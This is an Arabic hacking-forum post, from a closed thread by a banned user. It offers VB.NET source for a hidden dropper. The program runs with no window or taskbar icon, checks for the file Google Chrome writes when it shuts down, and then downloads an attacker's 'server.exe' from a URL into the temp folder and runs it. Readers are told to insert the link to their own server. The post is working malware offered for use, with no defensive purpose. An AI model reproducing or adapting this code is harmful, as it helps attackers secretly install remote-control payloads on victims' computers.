حالة الموضوع:
مغلق
  1. Dr.CN!ght

    Dr.CN!ght موقوف لمخالفة الشروط

    الأنتساب:
    ‏12 سبتمبر 2015
    المشاركات:
    52
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    المخالفات
    3
    السلام عليكم
    كيف الصحه اخواني
    اقدم لكم تلغيمه شرطية تعتمد على اغلاق قوقل كروم
    اذا المستخدم قام بأغلاق قوقل كروم سوف يتم تحميل السيرفر الخاص بك وتشغيله
    ما اطول عليكم
    اعمل مشروع جديد واضف فيه Timer
    واضغط ضغطتين على الفورم
    واضف هذا الكود
    كود:
    Public Class Form1
     
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Opacity = 0%
            Timer1.Start()
        End Sub
     
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            Dim name As String = Environ("UserName")
            Dim net As New Net.WebClient
            If My.Computer.FileSystem.FileExists("C:\Users\" + name + "\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt") = True Then
                net.DownloadFile("url", Environ("tmp") & "/server.exe")
                Process.Start(Environ("tmp") & "/server.exe")
            End If
        End Sub
    End Class
    
    

    مع تبديل كلمة (url) ب الرابط المباشر للسيرفر الخاص بك
    في امان الله
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة